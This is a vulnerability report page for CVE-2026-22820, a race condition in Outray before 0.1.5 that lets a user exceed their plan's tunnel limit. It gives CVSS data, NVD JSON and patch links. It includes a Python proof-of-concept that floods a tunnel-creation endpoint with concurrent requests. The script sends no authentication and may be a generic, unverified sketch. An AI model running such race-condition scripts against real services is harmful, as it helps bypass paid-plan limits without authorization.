Security Vulnerability Report
中文
CVE-2026-22820 CVSS 3.7 LOW

CVE-2026-22820

Published: 2026-01-14 15:16:06
Last Modified: 2026-01-20 14:52:10

Description

Outray openSource ngrok alternative. Prior to 0.1.5, a TOCTOU race condition vulnerability allows a user to exceed the set number of active tunnels in their subscription plan. This vulnerability is fixed in 0.1.5.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:outray:outray:*:*:*:*:*:node.js:*:* - VULNERABLE
Outray < 0.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22820 PoC - Outray TOCTOU Race Condition # This PoC demonstrates exploiting the TOCTOU race condition # to exceed the active tunnel limit in Outray < 0.1.5 import asyncio import aiohttp import sys TARGET_HOST = "http://localhost:8080" # Adjust target host SUBSCRIPTION_TUNNEL_LIMIT = 3 # Adjust based on subscription plan NUM_EXPLOIT_TUNNELS = 10 # Number of tunnels to attempt creating async def create_tunnel(session, tunnel_id): """Attempt to create a single tunnel.""" try: async with session.post( f"{TARGET_HOST}/api/tunnels", json={ "name": f"exploit-tunnel-{tunnel_id}", "port": 8000 + tunnel_id, "protocol": "tcp" }, timeout=aiohttp.ClientTimeout(total=10) ) as response: if response.status == 200 or response.status == 201: return {"id": tunnel_id, "status": "success", "code": response.status} else: return {"id": tunnel_id, "status": "failed", "code": response.status} except Exception as e: return {"id": tunnel_id, "status": "error", "error": str(e)} async def exploit_toctou(): """Exploit the TOCTOU race condition by sending concurrent tunnel creation requests.""" async with aiohttp.ClientSession() as session: # Send multiple tunnel creation requests concurrently tasks = [create_tunnel(session, i) for i in range(NUM_EXPLOIT_TUNNELS)] results = await asyncio.gather(*tasks) success_count = sum(1 for r in results if r["status"] == "success") print(f"[+] Successfully created {success_count} tunnels") print(f"[+] Subscription limit was {SUBSCRIPTION_TUNNEL_LIMIT}") if success_count > SUBSCRIPTION_TUNNEL_LIMIT: print("[!] VULNERABLE: Exceeded subscription tunnel limit via TOCTOU race condition") else: print("[-] Not vulnerable or exploitation failed") return results if __name__ == "__main__": print("[*] CVE-2026-22820 Outray TOCTOU Race Condition PoC") print(f"[*] Target: {TARGET_HOST}") asyncio.run(exploit_toctou())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22820", "sourceIdentifier": "[email protected]", "published": "2026-01-14T15:16:05.663", "lastModified": "2026-01-20T14:52:10.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Outray openSource ngrok alternative. Prior to 0.1.5, a TOCTOU race condition vulnerability allows a user to exceed the set number of active tunnels in their subscription plan. This vulnerability is fixed in 0.1.5."}, {"lang": "es", "value": "Outray, alternativa de código abierto a ngrok. Antes de la versión 0.1.5, una vulnerabilidad de condición de carrera TOCTOU permite a un usuario exceder el número establecido de túneles activos en su plan de suscripción. Esta vulnerabilidad está corregida en la versión 0.1.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:outray:outray:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.1.5", "matchCriteriaId": "DD246CCB-2E70-40B6-9BA8-ADAB45DF1296"}]}]}], "references": [{"url": "https://github.com/outray-tunnel/outray/commit/08c61495761349e7fd2965229c3faa8d7b1c1581", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/outray-tunnel/outray/security/advisories/GHSA-3pqc-836w-jgr7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}